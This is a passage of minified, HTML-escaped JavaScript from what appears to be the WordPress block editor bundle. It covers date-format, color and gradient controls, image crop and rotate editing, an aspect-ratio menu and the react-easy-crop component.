format&quot;)},[r,i]=(0,h.useState)((()=&gt;!!e&amp;&amp;!n.some((t=&gt;t.format===e))));return(0,d.jsxs)(Ss.__experimentalVStack,{children:[(0,d.jsx)(Ss.CustomSelectControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Choose a format&quot;),options:[...n,o],value:r?o:n.find((t=&gt;t.format===e))??o,onChange:({selectedItem:e})=&gt;{e===o?i(!0):(i(!1),t(e.format))}}),r&amp;&amp;(0,d.jsx)(Ss.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Custom format&quot;),hideLabelFromVision:!0,help:(0,h.createInterpolateElement)((0,T.__)(&quot;Enter a date or time &lt;Link&gt;format string&lt;/Link&gt;.&quot;),{Link:(0,d.jsx)(Ss.ExternalLink,{href:(0,T.__)(&quot;https://wordpress.org/documentation/article/customize-date-and-time-format/&quot;)})}),value:e,onChange:e=&gt;t(e)})]})}dP.setDate(20),dP.setMonth(dP.getMonth()-3),4===dP.getMonth()&amp;&amp;dP.setMonth(3);const gP=({setting:e,children:t,panelId:n,...o})=&gt;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!e.colorValue||!!e.gradientValue,label:e.label,onDeselect:()=&gt;{e.colorValue?e.onColorChange():e.gradientValue&amp;&amp;e.onGradientChange()},isShownByDefault:void 0===e.isShownByDefault||e.isShownByDefault,...o,className:&quot;block-editor-tools-panel-color-gradient-settings__item&quot;,panelId:n,resetAllFilter:e.resetAllFilter,children:t}),mP=({colorValue:e,label:t})=&gt;(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,d.jsx)(Ss.ColorIndicator,{className:&quot;block-editor-panel-color-gradient-settings__color-indicator&quot;,colorValue:e}),(0,d.jsx)(Ss.FlexItem,{className:&quot;block-editor-panel-color-gradient-settings__color-name&quot;,title:t,children:t})]}),fP=e=&gt;({onToggle:t,isOpen:n})=&gt;{const{clearable:o,colorValue:r,gradientValue:i,onColorChange:s,onGradientChange:l,label:a}=e,c=(0,h.useRef)(void 0),u={onClick:t,className:gs(&quot;block-editor-panel-color-gradient-settings__dropdown&quot;,{&quot;is-open&quot;:n}),&quot;aria-expanded&quot;:n,ref:c},p=r??i;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,...u,children:(0,d.jsx)(mP,{colorValue:p,label:a})}),o&amp;&amp;p&amp;&amp;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Reset&quot;),className:&quot;block-editor-panel-color-gradient-settings__reset&quot;,size:&quot;small&quot;,icon:Fa,onClick:()=&gt;{r?s():i&amp;&amp;l(),n&amp;&amp;t(),c.current?.focus()}})]})};function bP({colors:e,disableCustomColors:t,disableCustomGradients:n,enableAlpha:o,gradients:r,settings:i,__experimentalIsRenderedInSidebar:s,...l}){let a;return s&amp;&amp;(a={placement:&quot;left-start&quot;,offset:36,shift:!0}),(0,d.jsx)(d.Fragment,{children:i.map(((i,c)=&gt;{const u={clearable:!1,colorValue:i.colorValue,colors:e,disableCustomColors:t,disableCustomGradients:n,enableAlpha:o,gradientValue:i.gradientValue,gradients:r,label:i.label,onColorChange:i.onColorChange,onGradientChange:i.onGradientChange,showTitle:!1,__experimentalIsRenderedInSidebar:s,...i},p={clearable:i.clearable,label:i.label,colorValue:i.colorValue,gradientValue:i.gradientValue,onColorChange:i.onColorChange,onGradientChange:i.onGradientChange};return i&amp;&amp;(0,d.jsx)(gP,{setting:i,...l,children:(0,d.jsx)(Ss.Dropdown,{popoverProps:a,className:&quot;block-editor-tools-panel-color-gradient-settings__dropdown&quot;,renderToggle:fP(p),renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{paddingSize:&quot;none&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-panel-color-gradient-settings__dropdown-content&quot;,children:(0,d.jsx)(Zp,{...u})})})})},c)}))})}const kP=[&quot;colors&quot;,&quot;disableCustomColors&quot;,&quot;gradients&quot;,&quot;disableCustomGradients&quot;],vP=({className:e,colors:t,gradients:n,disableCustomColors:o,disableCustomGradients:r,children:i,settings:s,title:l,showTitle:a=!0,__experimentalIsRenderedInSidebar:c,enableAlpha:u})=&gt;{const p=(0,m.useInstanceId)(vP),{batch:h}=(0,g.useRegistry)();return t&amp;&amp;0!==t.length||n&amp;&amp;0!==n.length||!o||!r||!s?.every((e=&gt;(!e.colors||0===e.colors.length)&amp;&amp;(!e.gradients||0===e.gradients.length)&amp;&amp;(void 0===e.disableCustomColors||e.disableCustomColors)&amp;&amp;(void 0===e.disableCustomGradients||e.disableCustomGradients)))?(0,d.jsxs)(Ss.__experimentalToolsPanel,{className:gs(&quot;block-editor-panel-color-gradient-settings&quot;,e),label:a?l:void 0,resetAll:()=&gt;{h((()=&gt;{s.forEach((({colorValue:e,gradientValue:t,onColorChange:n,onGradientChange:o})=&gt;{e?n():t&amp;&amp;o()}))}))},panelId:p,__experimentalFirstVisibleItemClass:&quot;first&quot;,__experimentalLastVisibleItemClass:&quot;last&quot;,children:[(0,d.jsx)(bP,{settings:s,panelId:p,colors:t,gradients:n,disableCustomColors:o,disableCustomGradients:r,__experimentalIsRenderedInSidebar:c,enableAlpha:u}),!!i&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.__experimentalSpacer,{marginY:4}),&quot; &quot;,i]})]}):null},_P=e=&gt;{const t=Ad();return(0,d.jsx)(vP,{...{...t,...e}})};var yP=e=&gt;kP.every((t=&gt;e.hasOwnProperty(t)))?(0,d.jsx)(vP,{...e}):(0,d.jsx)(_P,{...e}),xP=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z&quot;})});const SP=100,wP=300,CP={placement:&quot;bottom-start&quot;},BP={crop:(0,T.__)(&quot;Image cropped.&quot;),rotate:(0,T.__)(&quot;Image rotated.&quot;),cropAndRotate:(0,T.__)(&quot;Image cropped and rotated.&quot;)};const IP=(0,h.createContext)({});IP.displayName=&quot;ImageEditingContext&quot;;const jP=()=&gt;(0,h.useContext)(IP);function EP({id:e,url:t,naturalWidth:n,naturalHeight:o,onFinishEditing:r,onSaveImage:i,children:s}){const l=function({url:e,naturalWidth:t,naturalHeight:n}){const[o,r]=(0,h.useState)(),[i,s]=(0,h.useState)(),[l,a]=(0,h.useState)({x:0,y:0}),[c,u]=(0,h.useState)(100),[d,p]=(0,h.useState)(0),g=t/n,[m,b]=(0,h.useState)(g),k=(0,h.useCallback)((()=&gt;{const t=(d+90)%360;let n=g;if(d%180==90&amp;&amp;(n=1/g),0===t)return r(),p(t),b(g),void a((e=&gt;({x:-e.y*n,y:e.x*n})));const o=new window.Image;o.src=e,o.onload=function(e){const o=document.createElement(&quot;canvas&quot;);let i=0,s=0;t%180?(o.width=e.target.height,o.height=e.target.width):(o.width=e.target.width,o.height=e.target.height),90!==t&amp;&amp;180!==t||(i=o.width),270!==t&amp;&amp;180!==t||(s=o.height);const l=o.getContext(&quot;2d&quot;);l.translate(i,s),l.rotate(t*Math.PI/180),l.drawImage(e.target,0,0),o.toBlob((e=&gt;{r(URL.createObjectURL(e)),p(t),b(o.width/o.height),a((e=&gt;({x:-e.y*n,y:e.x*n})))}))};const i=(0,f.applyFilters)(&quot;media.crossOrigin&quot;,void 0,e);&quot;string&quot;==typeof i&amp;&amp;(o.crossOrigin=i)}),[d,g,e]);return(0,h.useMemo)((()=&gt;({editedUrl:o,setEditedUrl:r,crop:i,setCrop:s,position:l,setPosition:a,zoom:c,setZoom:u,rotation:d,setRotation:p,rotateClockwise:k,aspect:m,setAspect:b,defaultAspect:g})),[o,i,l,c,d,k,m,g])}({url:t,naturalWidth:n,naturalHeight:o}),a=function({crop:e,rotation:t,url:n,id:o,onSaveImage:r,onFinishEditing:i}){const{createErrorNotice:s,createSuccessNotice:l}=(0,g.useDispatch)(dr.store),[a,c]=(0,h.useState)(!1),{editMediaEntity:u}=(0,g.useSelect)((e=&gt;{const t=e(Ii).getSettings();return{editMediaEntity:t?.[V]}}),[]),d=(0,h.useCallback)((()=&gt;{c(!1),i()}),[i]),p=(0,h.useCallback)((async()=&gt;{if(!u)return i(),void s((0,T.__)(&quot;Sorry, you are not allowed to edit images on this site.&quot;),{id:&quot;image-editing-error&quot;,type:&quot;snackbar&quot;});c(!0);const a=[];if(t&gt;0&amp;&amp;a.push({type:&quot;rotate&quot;,args:{angle:t}}),(e.width&lt;99.9||e.height&lt;99.9)&amp;&amp;a.push({type:&quot;crop&quot;,args:{left:e.x,top:e.y,width:e.width,height:e.height}}),0===a.length)return c(!1),void i();const d=1===a.length?a[0].type:&quot;cropAndRotate&quot;;try{const e=await u(o,{src:n,modifiers:a},{throwOnError:!0});e&amp;&amp;(r({id:e.id,url:e.source_url}),l(BP[d],{type:&quot;snackbar&quot;,actions:[{label:(0,T.__)(&quot;Undo&quot;),onClick:()=&gt;{r({id:o,url:n})}}]}))}catch(e){s((0,T.sprintf)((0,T.__)(&quot;Could not edit image. %s&quot;),(0,Ua.__unstableStripHTML)(e.message)),{id:&quot;image-editing-error&quot;,type:&quot;snackbar&quot;})}finally{c(!1),i()}}),[e,t,o,n,r,s,l,i,u]);return(0,h.useMemo)((()=&gt;({isInProgress:a,apply:p,cancel:d})),[a,p,d])}({id:e,url:t,onSaveImage:i,onFinishEditing:r,...l}),c=(0,h.useMemo)((()=&gt;({...l,...a})),[l,a]);return(0,d.jsx)(IP.Provider,{value:c,children:s})}function TP({aspectRatios:e,isDisabled:t,label:n,onClick:o,value:r}){return(0,d.jsx)(Ss.MenuGroup,{label:n,children:e.map((({name:e,slug:n,ratio:i})=&gt;(0,d.jsx)(Ss.MenuItem,{disabled:t,onClick:()=&gt;{o(i)},role:&quot;menuitemradio&quot;,isSelected:i===r,icon:i===r?rp:void 0,children:e},n)))})}function MP(e){const[t,n,...o]=e.split(&quot;/&quot;).map(Number);return t&lt;=0||n&lt;=0||Number.isNaN(t)||Number.isNaN(n)||o.length?NaN:n?t/n:t}function PP({ratio:e,...t}){return{ratio:MP(e),...t}}function RP({toggleProps:e}){const{isInProgress:t,aspect:n,setAspect:o,defaultAspect:r}=jP(),[i,s,l]=Ei(&quot;dimensions.aspectRatios.default&quot;,&quot;dimensions.aspectRatios.theme&quot;,&quot;dimensions.defaultAspectRatios&quot;);return(0,d.jsx)(Ss.DropdownMenu,{icon:xP,label:(0,T.__)(&quot;Aspect Ratio&quot;),popoverProps:CP,toggleProps:e,children:({onClose:e})=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(TP,{isDisabled:t,onClick:t=&gt;{o(t),e()},value:n,aspectRatios:[{slug:&quot;original&quot;,name:(0,T.__)(&quot;Original&quot;),ratio:r},...l?i.map(PP).filter((({ratio:e})=&gt;1===e)):[]]}),s?.length&gt;0&amp;&amp;(0,d.jsx)(TP,{label:(0,T.__)(&quot;Theme&quot;),isDisabled:t,onClick:t=&gt;{o(t),e()},value:n,aspectRatios:s}),l&amp;&amp;(0,d.jsx)(TP,{label:(0,T.__)(&quot;Landscape&quot;),isDisabled:t,onClick:t=&gt;{o(t),e()},value:n,aspectRatios:i.map(PP).filter((({ratio:e})=&gt;e&gt;1))}),l&amp;&amp;(0,d.jsx)(TP,{label:(0,T.__)(&quot;Portrait&quot;),isDisabled:t,onClick:t=&gt;{o(t),e()},value:n,aspectRatios:i.map(PP).filter((({ratio:e})=&gt;e&lt;1))})]})})}var AP=function(e,t){return AP=Object.setPrototypeOf||{__proto__:[]}instanceof Array&amp;&amp;function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&amp;&amp;(e[n]=t[n])},AP(e,t)};function NP(e,t){if(&quot;function&quot;!=typeof t&amp;&amp;null!==t)throw new TypeError(&quot;Class extends value &quot;+String(t)+&quot; is not a constructor or null&quot;);function n(){this.constructor=e}AP(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var LP=function(){return LP=Object.assign||function(e){for(var t,n=1,o=arguments.length;n&lt;o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&amp;&amp;(e[r]=t[r]);return e},LP.apply(this,arguments)};Object.create;Object.create;&quot;function&quot;==typeof SuppressedError&amp;&amp;SuppressedError;var DP=n(7520),OP=n.n(DP);function zP(e,t,n,o,r){void 0===r&amp;&amp;(r=0);var i=WP(t.width,t.height,r),s=i.width,l=i.height;return{x:VP(e.x,s,n.width,o),y:VP(e.y,l,n.height,o)}}function VP(e,t,n,o){var r=t*o/2-n/2;return KP(e,-r,r)}function FP(e,t){return Math.sqrt(Math.pow(e.y-t.y,2)+Math.pow(e.x-t.x,2))}function HP(e,t){return 180*Math.atan2(t.y-e.y,t.x-e.x)/Math.PI}function UP(e,t){return Math.min(e,Math.max(0,t))}function GP(e,t){return t}function $P(e,t){return{x:(t.x+e.x)/2,y:(t.y+e.y)/2}}function WP(e,t,n){var o=n*Math.PI/180;return{width:Math.abs(Math.cos(o)*e)+Math.abs(Math.sin(o)*t),height:Math.abs(Math.sin(o)*e)+Math.abs(Math.cos(o)*t)}}function KP(e,t,n){return Math.min(Math.max(e,t),n)}function ZP(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];return e.filter((function(e){return&quot;string&quot;==typeof e&amp;&amp;e.length&gt;0})).join(&quot; &quot;).trim()}var qP=function(e){function t(){var n=null!==e&amp;&amp;e.apply(this,arguments)||this;return n.imageRef=rc.createRef(),n.videoRef=rc.createRef(),n.containerPosition={x:0,y:0},n.containerRef=null,n.styleRef=null,n.containerRect=null,n.mediaSize={width:0,height:0,naturalWidth:0,naturalHeight:0},n.dragStartPosition={x:0,y:0},n.dragStartCrop={x:0,y:0},n.gestureZoomStart=0,n.gestureRotationStart=0,n.isTouching=!1,n.lastPinchDistance=0,n.lastPinchRotation=0,n.rafDragTimeout=null,n.rafPinchTimeout=null,n.wheelTimer=null,n.currentDoc=&quot;undefined&quot;!=typeof document?document:null,n.currentWindow=&quot;undefined&quot;!=typeof window?window:null,n.resizeObserver=null,n.state={cropSize:null,hasWheelJustStarted:!1,mediaObjectFit:void 0},n.initResizeObserver=function(){if(void 0!==window.ResizeObserver&amp;&amp;n.containerRef){var e=!0;n.resizeObserver=new window.ResizeObserver((function(t){e?e=!1:n.computeSizes()})),n.resizeObserver.observe(n.containerRef)}},n.preventZoomSafari=function(e){return e.preventDefault()},n.cleanEvents=function(){n.currentDoc&amp;&amp;(n.currentDoc.removeEventListener(&quot;mousemove&quot;,n.onMouseMove),n.currentDoc.removeEventListener(&quot;mouseup&quot;,n.onDragStopped),n.currentDoc.removeEventListener(&quot;touchmove&quot;,n.onTouchMove),n.currentDoc.removeEventListener(&quot;touchend&quot;,n.onDragStopped),n.currentDoc.removeEventListener(&quot;gesturemove&quot;,n.onGestureMove),n.currentDoc.removeEventListener(&quot;gestureend&quot;,n.onGestureEnd),n.currentDoc.removeEventListener(&quot;scroll&quot;,n.onScroll))},n.clearScrollEvent=function(){n.containerRef&amp;&amp;n.containerRef.removeEventListener(&quot;wheel&quot;,n.onWheel),n.wheelTimer&amp;&amp;clearTimeout(n.wheelTimer)},n.onMediaLoad=function(){var e=n.computeSizes();e&amp;&amp;(n.emitCropData(),n.setInitialCrop(e)),n.props.onMediaLoaded&amp;&amp;n.props.onMediaLoaded(n.mediaSize)},n.setInitialCrop=function(e){if(n.props.initialCroppedAreaPercentages){var t=function(e,t,n,o,r,i){var s=WP(t.width,t.height,n),l=KP(o.width/s.width*(100/e.width),r,i);return{crop:{x:l*s.width/2-o.width/2-s.width*l*(e.x/100),y:l*s.height/2-o.height/2-s.height*l*(e.y/100)},zoom:l}}(n.props.initialCroppedAreaPercentages,n.mediaSize,n.props.rotation,e,n.props.minZoom,n.props.maxZoom),o=t.crop,r=t.zoom;n.props.onCropChange(o),n.props.onZoomChange&amp;&amp;n.props.onZoomChange(r)}else if(n.props.initialCroppedAreaPixels){var i=function(e,t,n,o,r,i){void 0===n&amp;&amp;(n=0);var s=WP(t.naturalWidth,t.naturalHeight,n),l=KP(function(e,t,n){var o=function(e){return e.width&gt;e.height?e.width/e.naturalWidth:e.height/e.naturalHeight}(t);return n.height&gt;n.width?n.height/(e.height*o):n.width/(e.width*o)}(e,t,o),r,i),a=o.height&gt;o.width?o.height/e.height:o.width/e.width;return{crop:{x:((s.width-e.width)/2-e.x)*a,y:((s.height-e.height)/2-e.y)*a},zoom:l}}(n.props.initialCroppedAreaPixels,n.mediaSize,n.props.rotation,e,n.props.minZoom,n.props.maxZoom);o=i.crop,r=i.zoom;n.props.onCropChange(o),n.props.onZoomChange&amp;&amp;n.props.onZoomChange(r)}},n.computeSizes=function(){var e,t,o,r,i,s,l=n.imageRef.current||n.videoRef.current;if(l&amp;&amp;n.containerRef){n.containerRect=n.containerRef.getBoundingClientRect(),n.saveContainerPosition();var a=n.containerRect.width/n.containerRect.height,c=(null===(e=n.imageRef.current)||void 0===e?void 0:e.naturalWidth)||(null===(t=n.videoRef.current)||void 0===t?void 0:t.videoWidth)||0,u=(null===(o=n.imageRef.current)||void 0===o?void 0:o.naturalHeight)||(null===(r=n.videoRef.current)||void 0===r?void 0:r.videoHeight)||0,d=c/u,p=void 0;if(l.offsetWidth&lt;c||l.offsetHeight&lt;u)switch(n.state.mediaObjectFit){default:case&quot;contain&quot;:p=a&gt;d?{width:n.containerRect.height*d,height:n.containerRect.height}:{width:n.containerRect.width,height:n.containerRect.width/d};break;case&quot;horizontal-cover&quot;:p={width:n.containerRect.width,height:n.containerRect.width/d};break;case&quot;vertical-cover&quot;:p={width:n.containerRect.height*d,height:n.containerRect.height}}else p={width:l.offsetWidth,height:l.offsetHeight};n.mediaSize=LP(LP({},p),{naturalWidth:c,naturalHeight:u}),n.props.setMediaSize&amp;&amp;n.props.setMediaSize(n.mediaSize);var h=n.props.cropSize?n.props.cropSize:function(e,t,n,o,r,i){void 0===i&amp;&amp;(i=0);var s=WP(e,t,i),l=s.width,a=s.height,c=Math.min(l,n),u=Math.min(a,o);return c&gt;u*r?{width:u*r,height:u}:{width:c,height:c/r}}(n.mediaSize.width,n.mediaSize.height,n.containerRect.width,n.containerRect.height,n.props.aspect,n.props.rotation);return(null===(i=n.state.cropSize)||void 0===i?void 0:i.height)===h.height&amp;&amp;(null===(s=n.state.cropSize)||void 0===s?void 0:s.width)===h.width||n.props.onCropSizeChange&amp;&amp;n.props.onCropSizeChange(h),n.setState({cropSize:h},n.recomputeCropPosition),n.props.setCropSize&amp;&amp;n.props.setCropSize(h),h}},n.saveContainerPosition=function(){if(n.containerRef){var e=n.containerRef.getBoundingClientRect();n.containerPosition={x:e.left,y:e.top}}},n.onMouseDown=function(e){n.currentDoc&amp;&amp;(e.preventDefault(),n.currentDoc.addEventListener(&quot;mousemove&quot;,n.onMouseMove),n.currentDoc.addEventListener(&quot;mouseup&quot;,n.onDragStopped),n.saveContainerPosition(),n.onDragStart(t.getMousePoint(e)))},n.onMouseMove=function(e){return n.onDrag(t.getMousePoint(e))},n.onScroll=function(e){n.currentDoc&amp;&amp;(e.preventDefault(),n.saveContainerPosition())},n.onTouchStart=function(e){n.currentDoc&amp;&amp;(n.isTouching=!0,n.props.onTouchRequest&amp;&amp;!n.props.onTouchRequest(e)||(n.currentDoc.addEventListener(&quot;touchmove&quot;,n.onTouchMove,{passive:!1}),n.currentDoc.addEventListener(&quot;touchend&quot;,n.onDragStopped),n.saveContainerPosition(),2===e.touches.length?n.onPinchStart(e):1===e.touches.length&amp;&amp;n.onDragStart(t.getTouchPoint(e.touches[0]))))},n.onTouchMove=function(e){e.preventDefault(),2===e.touches.length?n.onPinchMove(e):1===e.touches.length&amp;&amp;n.onDrag(t.getTouchPoint(e.touches[0]))},n.onGestureStart=function(e){n.currentDoc&amp;&amp;(e.preventDefault(),n.currentDoc.addEventListener(&quot;gesturechange&quot;,n.onGestureMove),n.currentDoc.addEventListener(&quot;gestureend&quot;,n.onGestureEnd),n.gestureZoomStart=n.props.zoom,n.gestureRotationStart=n.props.rotation)},n.onGestureMove=function(e){if(e.preventDefault(),!n.isTouching){var o=t.getMousePoint(e),r=n.gestureZoomStart-1+e.scale;if(n.setNewZoom(r,o,{shouldUpdatePosition:!0}),n.props.onRotationChange){var i=n.gestureRotationStart+e.rotation;n.props.onRotationChange(i)}}},n.onGestureEnd=function(e){n.cleanEvents()},n.onDragStart=function(e){var t,o,r=e.x,i=e.y;n.dragStartPosition={x:r,y:i},n.dragStartCrop=LP({},n.props.crop),null===(o=(t=n.props).onInteractionStart)||void 0===o||o.call(t)},n.onDrag=function(e){var t=e.x,o=e.y;n.currentWindow&amp;&amp;(n.rafDragTimeout&amp;&amp;n.currentWindow.cancelAnimationFrame(n.rafDragTimeout),n.rafDragTimeout=n.currentWindow.requestAnimationFrame((function(){if(n.state.cropSize&amp;&amp;void 0!==t&amp;&amp;void 0!==o){var e=t-n.dragStartPosition.x,r=o-n.dragStartPosition.y,i={x:n.dragStartCrop.x+e,y:n.dragStartCrop.y+r},s=n.props.restrictPosition?zP(i,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):i;n.props.onCropChange(s)}})))},n.onDragStopped=function(){var e,t;n.isTouching=!1,n.cleanEvents(),n.emitCropData(),null===(t=(e=n.props).onInteractionEnd)||void 0===t||t.call(e)},n.onWheel=function(e){if(n.currentWindow&amp;&amp;(!n.props.onWheelRequest||n.props.onWheelRequest(e))){e.preventDefault();var o=t.getMousePoint(e),r=OP()(e).pixelY,i=n.props.zoom-r*n.props.zoomSpeed/200;n.setNewZoom(i,o,{shouldUpdatePosition:!0}),n.state.hasWheelJustStarted||n.setState({hasWheelJustStarted:!0},(function(){var e,t;return null===(t=(e=n.props).onInteractionStart)||void 0===t?void 0:t.call(e)})),n.wheelTimer&amp;&amp;clearTimeout(n.wheelTimer),n.wheelTimer=n.currentWindow.setTimeout((function(){return n.setState({hasWheelJustStarted:!1},(function(){var e,t;return null===(t=(e=n.props).onInteractionEnd)||void 0===t?void 0:t.call(e)}))}),250)}},n.getPointOnContainer=function(e,t){var o=e.x,r=e.y;if(!n.containerRect)throw new Error(&quot;The Cropper is not mounted&quot;);return{x:n.containerRect.width/2-(o-t.x),y:n.containerRect.height/2-(r-t.y)}},n.getPointOnMedia=function(e){var t=e.x,o=e.y,r=n.props,i=r.crop,s=r.zoom;return{x:(t+i.x)/s,y:(o+i.y)/s}},n.setNewZoom=function(e,t,o){var r=(void 0===o?{}:o).shouldUpdatePosition,i=void 0===r||r;if(n.state.cropSize&amp;&amp;n.props.onZoomChange){var s=KP(e,n.props.minZoom,n.props.maxZoom);if(i){var l=n.getPointOnContainer(t,n.containerPosition),a=n.getPointOnMedia(l),c={x:a.x*s-l.x,y:a.y*s-l.y},u=n.props.restrictPosition?zP(c,n.mediaSize,n.state.cropSize,s,n.props.rotation):c;n.props.onCropChange(u)}n.props.onZoomChange(s)}},n.getCropData=function(){return n.state.cropSize?function(e,t,n,o,r,i,s){void 0===i&amp;&amp;(i=0),void 0===s&amp;&amp;(s=!0);var l=s?UP:GP,a=WP(t.width,t.height,i),c=WP(t.naturalWidth,t.naturalHeight,i),u={x:l(100,((a.width-n.width/r)/2-e.x/r)/a.width*100),y:l(100,((a.height-n.height/r)/2-e.y/r)/a.height*100),width:l(100,n.width/a.width*100/r),height:l(100,n.height/a.height*100/r)},d=Math.round(l(c.width,u.width*c.width/100)),p=Math.round(l(c.height,u.height*c.height/100)),h=c.width&gt;=c.height*o?{width:Math.round(p*o),height:p}:{width:d,height:Math.round(d/o)};return{croppedAreaPercentages:u,croppedAreaPixels:LP(LP({},h),{x:Math.round(l(c.width-h.width,u.x*c.width/100)),y:Math.round(l(c.height-h.height,u.y*c.height/100))})}}(n.props.restrictPosition?zP(n.props.crop,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):n.props.crop,n.mediaSize,n.state.cropSize,n.getAspect(),n.props.zoom,n.props.rotation,n.props.restrictPosition):null},n.emitCropData=function(){var e=n.getCropData();if(e){var t=e.croppedAreaPercentages,o=e.croppedAreaPixels;n.props.onCropComplete&amp;&amp;n.props.onCropComplete(t,o),n.props.onCropAreaChange&amp;&amp;n.props.onCropAreaChange(t,o)}},n.emitCropAreaChange=function(){var e=n.getCropData();if(e){var t=e.croppedAreaPercentages,o=e.croppedAreaPixels;n.props.onCropAreaChange&amp;&amp;n.props.onCropAreaChange(t,o)}},n.recomputeCropPosition=function(){if(n.state.cropSize){var e=n.props.restrictPosition?zP(n.props.crop,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):n.props.crop;n.props.onCropChange(e),n.emitCropData()}},n}return NP(t,e),t.prototype.componentDidMount=function(){this.currentDoc&amp;&amp;this.currentWindow&amp;&amp;(this.containerRef&amp;&amp;(this.containerRef.ownerDocument&amp;&amp;(this.currentDoc=this.containerRef.ownerDocument),this.currentDoc.defaultView&amp;&amp;(this.currentWindow=this.currentDoc.defaultView),this.initResizeObserver(),void 0===window.ResizeObserver&amp;&amp;this.currentWindow.addEventListener(&quot;resize&quot;,this.computeSizes),this.props.zoomWithScroll&amp;&amp;this.containerRef.addEventListener(&quot;wheel&quot;,this.onWheel,{passive:!1}),this.containerRef.addEventListener(&quot;gesturestart&quot;,this.onGestureStart)),this.currentDoc.addEventListener(&quot;scroll&quot;,this.onScroll),this.props.disableAutomaticStylesInjection||(this.styleRef=this.currentDoc.createElement(&quot;style&quot;),this.styleRef.setAttribute(&quot;type&quot;,&quot;text/css&quot;),this.props.nonce&amp;&amp;this.styleRef.setAttribute(&quot;nonce&quot;,this.props.nonce),this.styleRef.innerHTML=&quot;.reactEasyCrop_Container {\n  position: absolute;\n  top: 0;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  overflow: hidden;\n  user-select: none;\n  touch-action: none;\n  cursor: move;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n}\n\n.reactEasyCrop_Image,\n.reactEasyCrop_Video {\n  will-change: transform; /* this improves performances and prevent painting issues on iOS Chrome */\n}\n\n.reactEasyCrop_Contain {\n  max-width: 100%;\n  max-height: 100%;\n  margin: auto;\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  right: 0;\n}\n.reactEasyCrop_Cover_Horizontal {\n  width: 100%;\n  height: auto;\n}\n.reactEasyCrop_Cover_Vertical {\n  width: auto;\n  height: 100%;\n}\n\n.reactEasyCrop_CropArea {\n  position: absolute;\n  left: 50%;\n  top: 50%;\n  transform: translate(-50%, -50%);\n  border: 1px solid rgba(255, 255, 255, 0.5);\n  box-sizing: border-box;\n  box-shadow: 0 0 0 9999em;\n  color: rgba(0, 0, 0, 0.5);\n  overflow: hidden;\n}\n\n.reactEasyCrop_CropAreaRound {\n  border-radius: 50%;\n}\n\n.reactEasyCrop_CropAreaGrid::before {\n  content: &#039; &#039;;\n  box-sizing: border-box;\n  position: absolute;\n  border: 1px solid rgba(255, 255, 255, 0.5);\n  top: 0;\n  bottom: 0;\n  left: 33.33%;\n  right: 33.33%;\n  border-top: 0;\n  border-bottom: 0;\n}\n\n.reactEasyCrop_CropAreaGrid::after {\n  content: &#039; &#039;;\n  box-sizing: border-box;\n  position: absolute;\n  border: 1px solid rgba(255, 255, 255, 0.5);\n  top: 33.33%;\n  bottom: 33.33%;\n  left: 0;\n  right: 0;\n  border-left: 0;\n  border-right: 0;\n}\n&quot;,this.currentDoc.head.appendChild(this.styleRef)),this.imageRef.current&amp;&amp;this.imageRef.current.complete&amp;&amp;this.onMediaLoad(),this.props.setImageRef&amp;&amp;this.props.setImageRef(this.imageRef),this.props.setVideoRef&amp;&amp;this.props.setVideoRef(this.videoRef))},t.prototype.componentWillUnmount=function(){var e,t;this.currentDoc&amp;&amp;this.currentWindow&amp;&amp;(void 0===window.ResizeObserver&amp;&amp;this.currentWindow.removeEventListener(&quot;resize&quot;,this.computeSizes),null===(e=this.resizeObserver)||void 0===e||e.disconnect(),this.containerRef&amp;&amp;this.containerRef.removeEventListener(&quot;gesturestart&quot;,this.preventZoomSafari),this.styleRef&amp;&amp;(null===(t=this.styleRef.parentNode)||void 0===t||t.removeChild(this.styleRef)),this.cleanEvents(),this.props.zoomWithScroll&amp;&amp;this.clearScrollEvent())},t.prototype.componentDidUpdate=function(e){var t,n,o,r,i,s,l,a,c;e.rotation!==this.props.rotation?(this.computeSizes(),this.recomputeCropPosition()):e.aspect!==this.props.aspect||e.objectFit!==this.props.objectFit?this.computeSizes():e.zoom!==this.props.zoom?this.recomputeCropPosition():(null===(t=e.cropSize)||void 0===t?void 0:t.height)!==(null===(n=this.props.cropSize)||void 0===n?void 0:n.height)||(null===(o=e.cropSize)||void 0===o?void 0:o.width)!==(null===(r=this.props.cropSize)||void 0===r?void 0:r.width)?this.computeSizes():(null===(i=e.crop)||void 0===i?void 0:i.x)===(null===(s=this.props.crop)||void 0===s?void 0:s.x)&amp;&amp;(null===(l=e.crop)||void 0===l?void 0:l.y)===(null===(a=this.props.crop)||void 0===a?void 